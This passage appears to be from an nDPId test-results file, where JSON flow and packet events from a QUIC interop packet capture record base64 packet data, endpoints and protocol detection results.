r4czNzHmge9hVsXC2jkjt+a3iuT2VTvtgYP\/gg3wHLLEejB8ULg0YDhFTSwR5yZE+PblWTw\/h1zub\/pMrOiBxxazdMQ6Cnlz1xT+HwIG9hofXF2+e7REuF5bc+tHJIAxGxRRDEZiMKISCqpeRlWCWzB2x1mmKE\/KOsosvWRujnwCM1KnVuycB6dQCV8X5XgqFkoCYNSzpxTxn5s75i07w6T3iQzjZ7RhS6EVLmvqncx43bMihbC16QzKChHTteVef548eeTYH\/HqbZPAD8YiWnymAmXsIshT9ZrxL58BUWA8AOTB75ExBEpSWvCr6cdH9tmHTnFX+iAHfgQ+SXuDcA8Yh6Ch37H7iJkjIlyFlV0xYK80\/8rLLX9Fi16hMEw4MsMSJoCvgH1JkfA2nunYMhjsU2UTxS5kbVKkx14WrqJvIAkV1s24F3JhhnfrjqaA\/+WQCy6FO4gWrpnAldrYzL2M62GkNRWliggV7ygB87oMNLaAmKZ5PPWr4N7Ua\/KkdB4nYZv97Cgzy\/7FwISfaGW02358adB++VWymI6DWtw2+GpWB3k0kCTmUYA6ScuXne\/RAGeAonjWWbVkNYIk9hKz39J2Uz8YIvzxBUfOGU8GZZmVIYhs+LqHfeGeKbbCDVrdghS8AtfkpMJaXaNuqlKxMd0+QmH708rOIK59+ExcbrFRuuFCV+Y2kBwCFjNISkM\/hxKEL3li6mt6HDE6ObfY03fEoJ8sHxvuyXUyqUrbYA+\/+769MwVZnJvR3BgYsDQ7yyssPJx61jOW9\/\/ZJaUpoeTMs+LvTpOaO3aOGoys7HzhFtjxPpaMeuy6J8rvRGlDmpFIbJDQSikU42BVwHFgIiJEdtXmpWvL6UjR9gEnH7F4leVc6kZRbkH8JQU7saam7b+aLACqy8QGiFKLZZ79Su9BVo3hXx4V\/a9UOG0fwWICYP2rWjoSlMM1D8LD3JyXD\/xHI05oU4AlfqIPRE\/pZQIZghaIHZV\/ga\/hvwGvtrr60MW42GcZ7safTYI3OMKFIcoVKABl6HRXDdV5P2Rt+B44fCqh8Rx5j1GHzSW\/rGFP+xPOA0hzb72SyDr1nPrWA2ufiZWLD7rTJqxk+zP0NWdN1W8Ig7keNnXWv4QL9x\/\/g=="} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":91,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1603816434756,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"3.121.242.54","src_port":53402,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02114{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":756670,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAOvlAAEARQxzAqAGAA3nyNtCaEVIE7JFKxgoKCgoILW5Ke\/Z2fngAAETSF+9lWl21JTgtfVHZ5XMFAV5iwNh8QJikNlPYLLcL257g14TEszj6j7gT+sZNJ3RW6GlkGKI0cLTiGhA4DZXSY2CRRkQV8aus3zX9x+wV2RPvN+4eYITQBIblhzLx6SrfCRaIuMd\/dIvuprgHzspSsGPsDVaFWE5RHWm8PvIf\/7WDS2AteLmXnCclnhwiNiESFMU\/JfLfx1BGNZvT2HLZlWqxE\/QH\/8leGOFh4OQdOMgDcrWH2aq0ZIEKOcT+22+SBNS+RXSivQkzWAWGACCn3yDlD4LrYX0EufA2pWqvz0bhI1bD1bMjQNQXTpb0IRYB\/IP9pUSfcl09eg\/8nkbY+WxJsi7\/OumDvzxFqxy1vKTBHoCkKcZU6KzCeDnpcN4UpeF\/P9Su7Hbnq6Oiu4kYT7w5TEYJlfr6hPZSINzK1N08yrm8sF5N1X+BgIp1nZKHO3z9qBo5uTSd7eUgib\/5hEBZVUjZfzcENhMxZ3iQWwxtVBdr1MPVUb\/fAHf\/LyB43r9qDPa9CjQlM9LQ10V7PuMS1mZ\/FoYoEt5+Lt+cJHI5bVFxc5jzohk+GAitdRUtpfiTuEwM1BTukQDiBma4oP3e14IOsjoG1G6JReouNpkBgpuToJ+jAbUrib7kmXzQdUA7kbNqdY9YbE3amA8AbTm+9U8XVMYkeWFdsFBWMWYdsARDe\/wNxFennwMBsN1VI\/Sf2kdpBwmikma9+VOfFyk1+k2sHTPIlSkVm3zjzWfLNM1PgYnwDxsauAlC6hmm0JtKmTtkv+Pn\/\/bRNz47TPwG\/lMWs1GWc\/Duiv2CyU27DrRqkZl9eIkxpCPq+lhf64B8FwAcAY126ezwgYeSIj\/2BPVLzj6uWaHdPFiHkcYmsVRVcNxcn7SbmC6vMu39440UH8ewpx4045LjoYhYGYD9wbNo\/kPCLdYB5lMNkMJTlPPmNe98ODz2WRVDN9gK0zjD8fscveFE1Bpk8Tltq8z87BasUF4e83PNj3KD2dMD7X3GtxvbnR3cIGT3a57NON24InRM\/nwZHwL2bk877r1hTuhvugTQiJQZIW+R7Cd76AgAWAnog5NJv6qFjoKKfxT4AV2tDLzRyjkMMrHebIWYVqs1aklZ5d7wxUYLamAar0CN+WpRkYSzgamBAcwe7BSMa1vimlqjo\/6IlbVmFAty4ZoLhk1JPUo0OTDJGfg7G5ACascLpelBjrrhC8q2UQKF8audmNUZRXmNP+namQx8VwfIgH5YHylOs57ZtHfGy6hvAJo\/Tqvp\/umN87FBHWfLNRT8fGjmReoFRPTt1LBgsiQauA98uLlL\/MhK3zSkvFJb8TpBWg0yrTs+EkEfcIYy\/54O1JGnSBS8+4f\/1DKIa1jmhY4F7hcK\/Y\/Zi33FgbmmvzZ+cspy2SIEhxePsUH3DOdZcJPxMiL9n2teu3XWpEwymkPM3I7Kauv6WrFEPbeyTEqbxV\/7RpTQ21VJA+vSCdBrxnvlGaubOeoQaS4+J\/ugEvRReICuHUPNCmQAnXPbJmcvvOj5p4u5B1t7PBGR3R1kOZNNBIvoThwX9CAlMfPhMMsjct7r8pVUeMkYfmNf8DVqscAvJ5\/vInV2if80iUDSzxy3mS373dztl6IVts0qx7XYaK5V4uL6xfDViQ=="} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":91,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1603816434756,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"3.121.242.54","src_port":53402,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"ietf.akaquic.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +02111{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":756710,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAwbRAAEAR5e\/AqAGAwb4KYsH6AbsE7NgwygoKCgoIc5O0PcfI+J8AAETSgTdR0pp7ROFzny7v80GZO+tdgWE1YYvBBVpTfYCLLZ9LR2R\/NMsrhl9CtsbdCKSqQlM9jeDSd7avtFbwkZgUMsGjQSFGIrauocKoeR\/IYUv\/3yqId1gln9QOjFOA7Vx3pZz\/40HjTDz++wnocf0Q7LKFbnIVVlAkyHprEOHxkx31yKlE1OrKPFXX64LJtMBzJGNe1ikJ4DBZc3CxM4VAmWh6jZ6Xziu1T48Y9Jp1rXJLZkDZluz9DNypT19E9aFE2QAE2YffnA08t2CC0Dav\/nelE7OXLvT3\/abxcTvv6lkWQ7Ws\/OGhflJV6pbd8DOAJlm41dw48U7866L\/ZVnZQGhC+qy29Rf0f9z7LTwYqeUnFBlTnrWIJUDejmyBK0xmX71p+M4ZDQYk6ksEN7ys9IhEK+0Ik4NF3m6iw+Y3srEwTIzK7SMuEUaqxHAnsnY0cY7xUBPiPgfPBbiLOeDS23803rHtAW6t+pcVbYzcUhLC5i4Fhsy5HB7swuOTaDalPrb1ks0Osqlmdnwi+VtFXIfWY5hiA\/takn+M6zgv2Z5TIeGz5PwD\/mNhYevqBSzxfqtF6pqWG4u\/KRjbRiKsndJKZWqgEurVo18heo2c6BuDo0f63l9uVIrESW645Q3fwcjj5n0WWKE8\/gOmB1q+Qfeb5YwzG2mkb0uuRf1dVhHaEpflcJ4\/TP64ezBPm2PEqdUJ98ani+HAdCRefhilKHlZCp8FaM0g6fLSIWNKgyXd08cPKg3kQr1QKPyCDeevRCjLROEYKMQBfMcVsYelRUae3sfcDjOm3duGl9ZwBYRTuhqBGmO8BgPbJTCOUP3SnFPjNHZReb65nPAq5CmaErExRB3aqj2X70FK4POxZDcdB2SCLeNQjD0gAdoPMDjy6TU8QbOW6emahG\/pm2XLGB82paRNLQ1UrajFFljlEad6px4jnFkmQswkS1ZCAcPuyjYtBQOoVyU6Jn8IET5bSZAQYtSzhJcRSsotN89chVt8BOmx9WoAiAY6LsHVmGCH8fyiVJ8R96liGv\/mCcZB6Oi41IwhqNraSx\/YHNb8PDeqgVZnzU7HOxgMto9BkhGXVAa\/MDhpy7ONbZFtXLugZH\/GeA4uKx4T\/QjSGOy8\/I8tKHhy1ciKQVx\/4efbfMnze1\/7wiD29p7nKFEe8jhCs0tUTtvbs5svZDkGpMLh\/X4M8hVxSKoXJ4GInFSKgl6TdVamGbNzyLxWmQUTAYnTn24BPh82ABwBHi8IX8bKxOnTE9ArtO1ncpBuGK6utDYd+flGgrwW8Kx3EAqCtI+xt3hxI1lVVBS5mqinEpT4rI7UFt6bivyn3w8QLN2BAypCK2nDcT4jrgs2l16Qbqcq5B1aHCyILvPoswAdCLirW7pESSTDoJJLaY3+F0tLUXrHW1QCvM\/i6MkbViFrAX1Wv2DuS4QGedw\/jPkFjn0PVCpFH1LNlSl\/mq7ojJPIzqm4YoISxxdl92D1MuRAOkcGfHDjHzu2gXU4R2SOjkBJKT78Z0m14Jd3agw7f8zNErlWf3mQN\/cPgefBr3GQB\/5hkj9h7mtqO0XsqbQtHpUzt2Y\/IzySgy2h3inpKHrAmHMy7nBwaqDcL8noSXoChoeTFZAF+yuWHR0EPcyX\/dJQEW5Avw=="} +00542{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":93,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1603816434764,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:4800:7817:101:be76:4eff:fe04:631d","src_port":53140,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02109{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":764038,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gAVbOBNgRQCABCwcKydWupNP+R2kegH0gAUgAeBcBAb52Tv\/+BGMdz5QRUQTYJfbICgoKCghA0fDpGJ\/Z4QAARL42MmGE7LT7K7Ql+V7EQ3yWatv5MRpdEw0GoTR5NQSX65ds5UbmlVEnPiT6ugJBO3avrGIdm9NfC0YolC+M7h3Dd+R8rmFmbMufRy7tEXwOSANvtASfChD2QtW7IUdoUpURW\/ybH6H3HL74XAiUZ9DaKTFRCIGfbZdMWt8ZGjlM+G0uKJJyI4UiXMqUmldhkusW7Dkb3B5PhdsU4l\/\/nXb1ocHMF5ZO15qTuXpuDw3KLbi7Dk3CU80ZSrgIQRr4QnZY7DqaQqaTgqwsAdQp1wPEsQudwtV3+rldfGptoheCDmbpY8ruZrzgIcViEvjU5I9Ku4MmOSDc008VMVo6UbKXAY8wBkNppH+gKT0zKsJbuYos09RElJKJM+JRSvAd13BS3pf5yKPRjvg+VG7dJIXDCpCzd5HB88akDiSNSvnw\/1jpXEBSCG8CQobh6IKIU7erWpgWufuC2MUeTsj93wERw28DYyL4pZ0SgYLM8R+IuAUGggiToLnDY0lhnQxvWPEyOUmn4NJbPGX\/ycsndCFcb9Jll9Txp36+98fi41gKI+rpvius3\/7rHwBBIC53Dc9XI1Li53E\/tYF3PSb\/g4tqh7YqeuJqy592nH72H7zhGojy0gwXJQ\/hWtpj34Umy89wdwne1tmBbDTsm\/OVEe2Hv8wX1eUxdtqxfSQcfE5EjCaX8x5TsLMsFiA+gnimL9YXpXbCar82EARe4s\/1NGbcVosoctM9nH774rkUWziya9xnPI59V8iborTptEZmzs9opsMwWCSG3SUoMF+XgWmJrobGMEBNgQ6NuDdRKVGnCOz5ViUV8HOdhxWdLar9arspdIIQioDF1eMysE8I5ZwvEkpGFpxtL8pSwMYHtvi38MARaK84JW5F4Q+Z9NKUbjEnyJk4DLBXQDZCAccejGxLIlAEw9mV\/SQqwWMDKPfcgeBYaGkjuKCt9IwYkKfJdCAHGlWbthDy9UAYdzWaLgrHKDwv7KjG08gxv3P2Ay64L+MkxpWRZB3zlpP7475UXQoo5J2b\/TCDguBRfBA\/zwH0ywx+bAC1xX58ocUBgtutOfF0Vqf9ZXqQdWJ\/tYbtk2qPb\/vUKDkYspG2+VZV3S4mHyGQEdK+3+Br++sSHMrwkXpKY231omxX2tF0BL0Bxb\/XFoQnF0zVMDi6yl7EdOkVYJKzpCkpByrrFblgbC6aH5tGZmLBBsnQ9oNmcYgP6L4\/rCjc9wp9OI6Dpp\/kCf0+0QdRr65NauWVYS3fzTceAW7h1rV7piIkaCm\/ktLnQ0CjV4yXbM4EAQ\/1J3s6F5an9AUjsSqU7bHdat7EQLbygAV3b2dabdxj5om9WQRt0joYLuxTvD8zwyOedLxW1wTxiQF1SimJGbjZ\/VbtHbirvwE3YrWoKzszq610qQdSeVcciVMkJn8\/frGZPOF+kV+ihka4sCmdlV4EIQk1LeOGrlYlQ6fpIafv8Fxge7YrHQDBRMDZfuEMvNEoQTdfeyjVZwZQIQqYpN1426QLcvTfeGNyVfnI\/BbfhWbK8vegWPhhtQELUYrkCHe43wuMJDkpCyHET\/GRFZPr3UO+sKZLIuMEzbgtFP8BywWzvtpZIPTbuoW\/fNEsBA9hvwy1MQ=="} +00780{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":93,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1603816434764,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:4800:7817:101:be76:4eff:fe04:631d","src_port":53140,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.ogre.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":94,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1603816434765,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"140.227.52.92","src_port":57926,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02116{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":765563,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAU3xAAEARXwnAqAGAjOM0XOJGEVIE7OZyxwoKCgoIVNEfWrpr6t8AAETShzjiz2D78m1qpQ+wdRdnpG0LI97NN9w\/zKLTNwbycXDRt9x16mx5gVIiYU9my7Ewd3ZQMG74RKzp5yqjf1swV34ZhT\/6a6RECEeuXIhfq5HIaUvnylxvuq5Ar2tLEHKFSp+lL3+2mCGKG\/aNYIIMA9OUhG2opUeuB2l5mNW6BfknYi6bDFHQDD1kdTaXvzq60RpfCfERji\/a12lQL6ybflc1AUHJdy355ohjy1PIdK24siM83Pzy3WhuqqXhu48NlkiWBwzRIc3QwNG05XWtibPZpt+rnEgQ+dX5n3b+VdVkbT1SCRuZXy4KNB1O35Lr9kd9\/8w+iJRgvFGDJ1gPEsh0qR0CocMn8hmur7qxG29GbjVMp7R1NSj2eAOtmvYpLRwpEXgHuZyaQ1wjCTKff2\/madFWTA4XUYv4fZGglZSmwIF\/drNbz5S3P\/iWcoMFEHkI4sVFj9ZYFd4B3L8Ih2KOMfq0bJT\/WfJrXj4M4zI4ZrVBE7HjqFO+Xl4tQchegf9m36aJmP9rCIyTgms9JLdAWw4p9HwzAtYzEsN7etsiFMbBGYxWytAD85x3V9BiLZ0tRaEDbZVSI3dKqLBjOACNgGbIysz\/M5PX6bbnVEJL+rpXP4dfmzf\/vyIoXSLGK\/35Ot0RpvgHsUdk1M1JiJ\/w0LW\/ca8oRdqHyGl\/0OHcNoRXWU9uCpfJhoCR17fY7d\/8uGaioJukkywUyDy4lEoJon8wuutdoFaZ2G1NQYMqLk2L9BSwK6uXlh\/KFqoktCfkCzS\/xf+XdyqvzCmUAccDyVcTW2Lvm6Iydjjcz17WgP2sboaA9M+jrUXfYeNBGU+gooCH\/ra1qqj6hZV+ycQaUnNe1GLXG68adoCLMAH3j+oxneUkPOBiO5E\/EF5WMPYRqDPOKxnvKYyV0lEoyBg27SjzbmIsvSP3tH7+YEc5r+OkK5iuBgQnkGchz2TXPmjupTCg7Xojg+c2Vl21XIeYUg5zp5dqk+Dg1R9d\/NVFrsh0doLMsqN8QHWUOatOJlm\/\/hWn7+iCSCBW1hRFoljw2OaG0E\/WHGtKJCH2ZhTW\/OlsWDZ1I6a9AalNu2a3QLqufVsas9PvBAL98YjcgSJ2vBIk\/BVRBpG1Q\/rHLLGdBQB\/\/fZj9y5wySLqEy0sx93+y3Y1YIBdxSNqeVQx\/fJpwJre6YpAYG9B9bZ\/BhXdwe1PHHhhhh+Tc0H6ljXzAZf5EDPA4QtQAjr8TpYSQuwb\/souaXFbGTPfik1Mu8mHXJ7chWN7BzwY6WVcDvctTf5wcun\/ot9mUzugsNNaZfRJbJao7Y6eGCUXHAEDWUWwm6eFYQim4\/i3o6CdH9tbSa5KMv36T6nVCkpY+qDyBJdXUmrtiozwIoULbVWC7vKc4k21qmL36sDhhn10y6PN4bIg1\/diWwWYCyWvERVVVw+kY2BYCLC6p8eQ4ktUYbvTDjH7p17NqO7ef3HSSFWp67hCGKfd+ge3gy9+0Ke6znAKoZn3gft7e4Qngv6MCc\/8gqKo6NfPX0NUiWvPO5U1BDl2yWaNt0QFBBfKLxj+uxMZfebHky9N1aDOeVaIQ9eYOanbE2+OeMk1d8+h4d5hGTbyyYZ3xpCnfIP7rR2Q8OBY5Js9LjU+ch2BSmUmNfrrjQ=="} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":94,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1603816434765,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"140.227.52.92","src_port":57926,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.examp1e.net","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +02113{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":765578,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUALHVAAEARX6PAqAGAKHC\/PLT+AbsE7IqdzwoKCgoIe34skUb\/aLsAAETSJwiqldCG5d2DtH8UDlA+BP\/n+Hka9N9gLDvV00Jk\/OgePJAsiH3HrqXWf6W0XTXk7Pu2p+CFv9C0iF2fTa1ifkWOzj7YZz+hGLr31Ia3KbnzB86fFFCNPLMCgtr6arstfjJ4xI\/CQupOIVcMsg4IO6vzq1hO5uX8ALX13N2Nd4Yxx9Z3IbnXFpgI6JLk1uKVCyweJMlz+LOrhN3PHNyVHIt6alONhgWpEqUlKgTnNS9lCZd9JNENA+veQK+6gvIe2KJWpJlHdMZNI+3fjJnabXQaUxPQIMc0ZI8dZFlz3L059EqhvD2lc8\/naUxdGHznqVZzO\/gUeKnLROfZL6yJDTZiKzf+md1VYLBmBSCdsuQZ7oHBg0w7SSzXTvhRTic8g6kHUcynm9My8rvP3N1cyhHeHYoVTI3hh1p6dM2epSa1QGAI6JHSwnUF1\/QgJ\/yLYnzwcGUMmDxb6+\/Vcoz11hXvHqUfteaUIZrZlPS0IAcPwJ9uUM82Vts2gh0ZtKy1HVF7COtP\/YC8n3yaj2Z4XCxABH1JI1+Gr7s05Sbt7Ydmm0MEi7M4Z7H69xe5sGopICwlQr6BDij0IG\/Q72anBTWx1VNl8l1hae+l8TMmxGeMu9i4blZH4yTZVGbr4Ufrnumx\/iFAYgWQeu6awy9bpeZT5O+xG+rCa2YUWvEwAHwQqGOTLiHRhLqf8bOiysObXTA3QmobJfgdxg\/kMNWj8xUdfAzQUKJYelBbMXT4qn\/A\/bgLMic4ksrxyPSpiS1e9XYY4TcxnGgHk5yxCxuwpm4+S16PEBC8SsJHkLxhM+Pyqg8ZbbK5FBImfMzUEZil15pbURRUjvlZtdskfSyAHSxSF8X4o0JXfUlol+bcOL6ItmB+wzIiN2Q+yijFIXK6d9190X\/aYna6Y1mhBOG0n2BfyedI+P25jlTZHPzLP\/m0eGz0ffpvLil2huLTMVVoPDTaIcLulULXUi1mSE5WxlWTpZdPkeFyxhOecT8BN8ugPHSRdq1YlgSaIwZavu\/XO8PCMiEMZUs7LNob+kHoiN1Yitx+SOUzM3Rfm4SCIMQokalKEYORgNek9yKJq9ysRafffBGVrxSm9fUQ2\/hXog43g3kKJn1+L45W1cDgEOnlzcbSC7mXNgzNI\/9oSvf+verPiM6qHPGSAL45mMH3aGyYMFRQjcVYI49Hhcw\/awYPgb\/M54nczqpco1saP+lU6ffHEwQVDtkjV\/GpfILnkEXC+cQL7juo\/ky491nkMGs1EkNmbbJTwPGVUqPiFcdi\/GoRziaE35KsbCh2pXltXGH77CIkJ8z4h3pP\/kBhLJUXL8fmE9AqMsqW5zCCDLfMDqTPSGLNgu12FdfjnQIvupRRH4Ge0\/B5Zgz1NMHbBts+RgS0Xaxftf2jPR3SxbRu77DVdYw9vVWXM\/R9b26Kxk+mp4fmYKTS6dblfvsoHkgHRfoRp\/1E4eszlorBw59xoTpzT7xgKofVDBGY48JKd52rimDD8\/5N908wmgggGjc\/EEPQbILqIqgEVu+rqihenG\/3x1vbCDXllpynW3aJnILkUHNWbpfDPatq0AQGgN8Op2ovkZNf\/lP0t4iCiUxmNrrEYAIJpsoCwFTBFOv6YhOZgAb9RxW9d3SCROp5nmqJ9Q=="} +02108{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":765599,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUApalAAEAReTTAqAGAhfLO9L\/\/EVEE7ON5xgoKCgoIFbSGVwPjC1AAAETSB6nk7BQZ0n6OtRMgfqRMKv0mmF2ZCcJpOh5y0A\/toFlOz1fz5pBGD1YqR4r423K3bLjZPtU8zEdGrInkcNVS7Z9ZXa9KjSFkO6ZkCM+bgjrlPSYegWgr+lf8Seik\/OAa+9m4F+SKC3n3FYnChgcugjttcabtxcQG9UUmURCrO7eKZHimNrioYr36+LduCnNt9LNd\/zB6gPQej59n1H2PIibmagW\/fM66aVsVaR7zVHUCiH\/Qk70XwReQUNqQdtSK1o3x5foHfXLA3D5kXGSVsWki0olqZxxN4FQAu5\/vbJypl6cmZI9OG9mEaVsP3cQN5V6DcyMwwFq92zydNBh3eUgEPN9OuCoA1RCaRF2MY0ZRrUi4a0NGDiLUCV+G4SlLziz9xOJyHgGzjLPAE4BCeRh\/v6+wEZ8mgKyLD1EAVDV3zN30JJ6M0Me3hNHEEbe3VogRVZ0JV6CPYSKozfqmRIa1OO7TLbpqRx6m0yU\/HDbQvXQVvGPqTESIeDN9OWt+hRw0H3fhD\/0jWSUXeT5zzK0QccSYs9OMt6xct2EsrhYBO1aPATDoyaZAvzwTNWt8Eo\/XQktNf5jtBBlktbQBo67n4yyIo5rxgyPWJpQuRO297O7Mat4F1YWbTtTthkWIST5XlLQDR9sjWJQZoLrrVPuOGNaGgLiWbJpKZkPAmpkeoL2fbBEubmo\/7AK73pscjnUsQfmTU2Lhlzk7lE5KZzfdO6Ojycq4INOAlTRsxjE9Zej3obzZ+qt62gpD1eMqQQ4pmr3v0LhMGBrSM5EJ3Lmee9+dMb\/4XFUcIqSZvmCu1M+oA1IifmzxY0YneJ0hq33tjmK17Y6LsqmZvgvIsEtHUfp0429tqiTnJ7jEj9nv1Qws03vEaDx+VL91DFUBUZJsS2cGo6zH4U5+3ALd1d9yNs8qALm9NC2sFDyPeFu+wcrail+CekPau3rfVm\/\/BKg6uu98kDdJCbd1K4G6Sqm\/PNtzcVB3Yj4nmpQutpeBoYu\/N\/9zeylcHDDY+njAE8iIJji89hsMpr06VVSWYUsxYktuKVqxiBHUsyn1Qm+B+LGljetv1Jxr8cQu2ysaGbDgZRBSueKSbvXGNWhWLq7YBfLNgLfLQd6u0Si9aGjm8Is9C7byUaZ2JPKY6uJyDHXlNjc8po\/+0JxVFx+TI9y4r8FR94PIlv+t0snjZMMmWVUUkN9jPEM8reQ6rFbrOw2FyLxYpr7e6DBlYpr1rXi3y2AXbHOBjn\/yzFASJZWgEwjT9kc8\/kszRPabFnemr71tJxRnqsT7Z8rLpEDPHd34XFyRMJy5FhlpGRF5xBBWEPcYiNM4ACXS2zaqVvc4Ob6UONNiC5nq2MkrUel7u0fH3y+QFu5zcqtdETTA0rau+rX839r2M0xAous9B\/DzSAmhABN55MwenMuZXqKqO87\/SWuW3bCHCwmA4YTm0Y3MW31xmUfWCARViMQoMKL4e47lsZJmCw0S76EdXYT\/tkaU\/XJ34K+CTAC9yoTmJCAO9jIFpf2oBzdts69jtTj6Cw9qgKbQnkEP\/wuWHtVAcedrnVjSQu7O6Hr86jboN5XBirNkD\/k3Zb0R5f1hF1X5cR6OxDuouIjIFrBbnyzMLcWJq+pJzxbnTW8A+JnK8lKA7Q=="} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":97,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1603816434766,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2400:8902::f03c:91ff:fe69:a454","dst_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} 